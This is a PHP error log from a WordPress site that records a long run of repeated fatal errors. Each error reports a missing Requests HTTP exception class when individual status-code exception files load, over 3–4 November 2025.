[03-Nov-2025 01:40:56 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[03-Nov-2025 01:42:00 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[03-Nov-2025 01:43:02 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[03-Nov-2025 01:44:02 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[03-Nov-2025 01:45:03 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[03-Nov-2025 01:46:07 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[03-Nov-2025 01:47:08 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[03-Nov-2025 01:48:13 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[03-Nov-2025 01:49:12 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[03-Nov-2025 01:50:14 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[03-Nov-2025 14:41:33 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[03-Nov-2025 14:41:36 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[03-Nov-2025 14:41:45 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[03-Nov-2025 14:42:11 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[03-Nov-2025 14:44:16 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[03-Nov-2025 14:45:11 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[03-Nov-2025 14:46:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[03-Nov-2025 14:47:23 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[03-Nov-2025 14:48:26 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[03-Nov-2025 14:52:33 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[03-Nov-2025 14:55:22 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[03-Nov-2025 14:56:12 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[03-Nov-2025 14:57:14 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[03-Nov-2025 14:58:16 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[03-Nov-2025 14:59:21 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[03-Nov-2025 15:00:23 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[03-Nov-2025 15:01:29 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[03-Nov-2025 15:03:37 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[03-Nov-2025 15:04:37 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[03-Nov-2025 15:05:41 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[03-Nov-2025 15:07:48 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[03-Nov-2025 15:08:51 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[03-Nov-2025 15:10:30 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[03-Nov-2025 15:11:19 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[03-Nov-2025 15:12:24 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[03-Nov-2025 15:13:14 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[03-Nov-2025 15:15:02 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[03-Nov-2025 15:15:58 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[03-Nov-2025 15:16:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[03-Nov-2025 15:21:55 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[03-Nov-2025 15:25:22 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[03-Nov-2025 15:27:46 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[03-Nov-2025 15:28:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[03-Nov-2025 15:29:28 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[03-Nov-2025 15:31:08 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[03-Nov-2025 15:32:33 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[03-Nov-2025 15:39:46 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[03-Nov-2025 15:40:47 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[03-Nov-2025 15:41:49 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[03-Nov-2025 15:42:52 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[03-Nov-2025 15:43:53 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[03-Nov-2025 15:44:57 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[03-Nov-2025 15:46:00 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[03-Nov-2025 15:46:59 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[03-Nov-2025 15:48:07 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[03-Nov-2025 15:49:09 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[03-Nov-2025 15:50:09 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[03-Nov-2025 15:51:14 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[03-Nov-2025 15:52:20 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[03-Nov-2025 15:53:19 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[03-Nov-2025 15:54:24 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[03-Nov-2025 15:55:29 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[03-Nov-2025 15:56:31 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[03-Nov-2025 15:59:31 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[04-Nov-2025 12:29:32 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[04-Nov-2025 12:33:30 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[04-Nov-2025 12:35:11 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[04-Nov-2025 12:36:04 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[04-Nov-2025 12:37:08 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[04-Nov-2025 12:38:13 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[04-Nov-2025 12:39:14 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[04-Nov-2025 12:40:19 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[04-Nov-2025 12:41:24 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[04-Nov-2025 12:42:26 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[04-Nov-2025 12:43:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[04-Nov-2025 12:44:33 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
